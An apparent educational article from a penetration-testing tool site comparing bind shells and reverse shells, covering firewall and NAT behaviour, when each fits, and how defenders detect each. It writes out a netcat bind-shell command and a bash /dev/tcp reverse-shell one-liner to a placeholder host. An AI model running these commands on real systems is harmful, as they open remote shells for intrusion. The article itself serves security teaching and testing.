Bind Shell vs Reverse Shell: Which One and Why
The difference between a bind shell and a reverse shell, why reverse shells win through firewalls and NAT, and the cases where a bind shell is still the right call.
Bind shells and reverse shells solve the same problem — getting an interactive session on a target — and differ in exactly one thing: who opens the connection. That single difference decides which one works on a given network, and it is worth being deliberate about rather than reaching for the reverse shell out of habit.
The Definitions
A bind shell makes the target listen. The target binds a shell to a port and waits; you connect in to it. The target is the server, you are the client.
# target listens, you connect in
target$ nc -lvnp 4444 -e /bin/sh
you$ nc TARGET_IP 4444
A reverse shell makes the target connect out to you. You run the listener; the target calls home.
# you listen, target connects out
you$ nc -lvnp 443
target$ bash -i >& /dev/tcp/YOUR_IP/443 0>&1
If the direction-of-connection idea is new, start with what is a reverse shell.
Why Reverse Shells Usually Win
The deciding factor is the firewall, and firewalls are asymmetric. Ingress (inbound) rules are almost always strict — unsolicited connections to a random high port on a target get dropped, and if the target is behind NAT there is no routable address to connect to in the first place. Egress (outbound) rules are almost always loose, because users need to browse the web; outbound 443 and 80 are open nearly everywhere.
A bind shell depends on you being able to reach an open inbound port on the target. A reverse shell depends on the target being able to reach you on a common outbound port. In the real world the second condition holds far more often, which is why reverse shells are the default.
When a Bind Shell Is Actually Better
Not always, though. Reach for a bind shell when:
- You have no listener reachable from the target. If the target cannot route to you — you are behind your own NAT with no port-forward, or there is no shared network path — it cannot call home, but you might still reach it.
- The target has a routable, lightly-filtered inbound port — common on internal pivots and flat lab networks.
- You want a reconnectable session. A bind shell sits and waits, so you can reconnect after a drop without re-triggering execution; a reverse shell is gone the moment the connection dies.
Detection Differs Too
From a defender's view the two look different on the wire, which matters when you are also testing detection. A bind shell shows up as a host suddenly listening on an unusual port and accepting inbound connections. A reverse shell shows up as an outbound connection from a server that has no business making one — a database host dialing out to an unknown IP on 443. Knowing which signature you are generating is part of a thorough test; see detecting reverse shells.
Generate Either One
The reverse shell generator focuses on the reverse direction — the one you will want the vast majority of the time — with payloads for every common shell and the matching listener attached. Decide the direction first using the rules above, then generate the payload.
Authorized Testing Only
Whichever direction you choose, use it only against systems you own or are explicitly authorized to test. The technique is identical regardless of intent; authorization is what makes it legitimate.